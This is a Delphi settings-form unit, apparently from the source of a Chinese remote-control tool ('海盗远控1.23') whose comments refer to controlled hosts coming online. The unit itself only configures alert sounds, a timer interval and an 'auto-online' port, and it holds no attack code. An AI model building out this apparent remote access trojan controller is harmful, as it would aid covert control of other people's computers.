sysinf.pas

海盗远控1.23源代码

unit SysInf;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, DynamicSkinForm, SkinCtrls, StdCtrls, SkinBoxCtrls, ComCtrls,
  SkinTabs, Mask,mmsystem, LangFrm;

type
  TSysShezhi = class(TLangForm)
    OpenDialog1: TOpenDialog;
    spDynamicSkinForm1: TspDynamicSkinForm;
    PageControl1: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    Label1: TspSkinStdLabel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    RadioBox1: TspSkinCheckRadioBox;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    Button3: TspSkinButton;
    Button4: TspSkinButton;
    Button5: TspSkinButton;
    FilenameEdit1: TspSkinEdit;
    FilenameEdit2: TspSkinEdit;
    FilenameEdit3: TspSkinEdit;
    FilenameEdit4: TspSkinEdit;
    FilenameEdit5: TspSkinEdit;
    spSkinButton1: TspSkinButton;
    TabSheet2: TspSkinTabSheet;
    Label6: TspSkinStdLabel;
    Label7: TspSkinStdLabel;
    Label8: TspSkinStdLabel;
    TimerEdit: TspSkinEdit;
    PortEdit: TspSkinEdit;
    Button6: TspSkinButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FilenameEdit1Change(Sender: TObject);
    procedure FilenameEdit2Change(Sender: TObject);
    procedure FilenameEdit3Change(Sender: TObject);
    procedure FilenameEdit4Change(Sender: TObject);
    procedure FilenameEdit5Change(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure FilenameEdit1ButtonClick(Sender: TObject);
    procedure FilenameEdit2ButtonClick(Sender: TObject);
    procedure FilenameEdit3ButtonClick(Sender: TObject);
    procedure FilenameEdit4ButtonClick(Sender: TObject);
    procedure FilenameEdit5ButtonClick(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure spSkinButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  SysShezhi: TSysShezhi;

implementation
uses
  Main;
{$R *.dfm}
//恢复默认语音提示
procedure TSysShezhi.spSkinButton1Click(Sender: TObject);
begin
  FilenameEdit1.Text := ExtractFilePath(ParamStr(0)) + 'sound\login.wav';
  FilenameEdit2.Text := ExtractFilePath(ParamStr(0)) + 'sound\offline.wav';
  FilenameEdit3.Text := ExtractFilePath(ParamStr(0)) + 'sound\setting.wav';
  FilenameEdit4.Text := ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav';
  FilenameEdit5.Text := ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav';
end;

procedure TSysShezhi.Button1Click(Sender: TObject);
begin
  try
    sndplaysound('',snd_async);
    sndplaysound(Pchar(FilenameEdit1.Text),snd_async);
  except
  end;
end;

procedure TSysShezhi.Button2Click(Sender: TObject);
begin
  try
    sndplaysound('',snd_async);
    sndplaysound(Pchar(FilenameEdit2.Text),snd_async);
  except
  end;
end;

procedure TSysShezhi.Button3Click(Sender: TObject);
begin
  try
    sndplaysound('',snd_async);
    sndplaysound(Pchar(FilenameEdit3.Text),snd_async);
  except
  end;
end;

procedure TSysShezhi.Button4Click(Sender: TObject);
begin
  try
    sndplaysound('',snd_async);
    sndplaysound(Pchar(FilenameEdit4.Text),snd_async);
  except
  end;
end;

procedure TSysShezhi.Button5Click(Sender: TObject);
begin
  try
    sndplaysound('',snd_async);
    sndplaysound(Pchar(FilenameEdit5.Text),snd_async);
  except
  end;
end;
//有主机上线时输入框改变
procedure TSysShezhi.FilenameEdit1Change(Sender: TObject);
begin
  try
    ViKing.Myinifile.writestring('Operation', 'Sound1', FilenameEdit1.Text);
    ViKing.OnSLine:= FilenameEdit1.Text;
  except
  end;
end;
//有主机下线时输入框改变
procedure TSysShezhi.FilenameEdit2Change(Sender: TObject);
begin
  try
    ViKing.Myinifile.writestring('Operation', 'Sound2', FilenameEdit2.Text);
    ViKing.OffSLine:=FilenameEdit2.Text;
  except
  end;
end;
//自动上线设置输入框改变
procedure TSysShezhi.FilenameEdit3Change(Sender: TObject);
begin
  try
    ViKing.Myinifile.writestring('Operation', 'Sound3', FilenameEdit3.Text);
    ViKing.UpIPok:=FilenameEdit3.Text;
  except
  end;
end;
//文件上传输入框改变
procedure TSysShezhi.FilenameEdit4Change(Sender: TObject);
begin
  try
    ViKing.Myinifile.writestring('Operation', 'Sound4', FilenameEdit4.Text);
    ViKing.FileSup:=FilenameEdit4.Text;
  except
  end;
end;
//文件下传输入框改变
procedure TSysShezhi.FilenameEdit5Change(Sender: TObject);
begin
  try
    ViKing.Myinifile.writestring('Operation', 'Sound5', FilenameEdit5.Text);
    ViKing.FileSDown:= FilenameEdit5.Text;
  except
  end;
end;
//语音提示功能设置
procedure TSysShezhi.RadioBox1Click(Sender: TObject);
begin
  if RadioBox1.Checked then
  begin
   ViKing.isSound:=True;
   ViKing.Myinifile.writestring('Operation', 'OnSound','1')
  end else begin
   ViKing.isSound:=True;
   ViKing.Myinifile.writestring('Operation', 'OnSound','0');
  end;
end;
//选择语音提示文件
procedure TSysShezhi.FilenameEdit1ButtonClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  FilenameEdit1.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit2ButtonClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  FilenameEdit2.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit3ButtonClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  FilenameEdit3.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit4ButtonClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  FilenameEdit4.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit5ButtonClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  FilenameEdit5.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.Button6Click(Sender: TObject);
var
  ii: string;
begin
  try
    ViKing.Myinifile.writestring('Operation', 'TimerOut', TimerEdit.Text);
    ViKing.Timer1.Interval:=Strtoint(TimerEdit.Text);
  except
    ViKing.Timer1.Interval:=Strtoint(TimerEdit.Text);
    TimerEdit.Text:='20000';
  end;
  try
    II:=ViKing.Myinifile.Readstring('LocalPort', 'AutoSxport', '800');
    if ii<> PortEdit.text then
     begin
       ViKing.AutoSxport:=StrtoInt(portEdit.text);
       ViKing.Myinifile.writestring('LocalPort', 'AutoSxport',portEdit.text);
     try
      // ViKing.IdTCPServer1.Active :=False;
      // ViKing.IdTCPServer1.Bindings.Clear;
      // ViKing.IdTCPServer1.DefaultPort :=ViKing.AutoSxport;
      // ViKing.IdTCPServer1.Active :=True;
     except
       Showmessage(Translate('ZhuanTai81','修改自动上线端口失败!无法打开端口: ')+inttostr(ViKing.AutoSxport));
     end;
       Showmessage(Translate('ZhuanTai82','修改自动上线端口成功!'));
       ViKing.SportEdit.Text := portEdit.text;
     end;
  except
    Showmessage(Translate('ZhuanTai83','修改自动上线端口失败!'));
  end;
end;





end.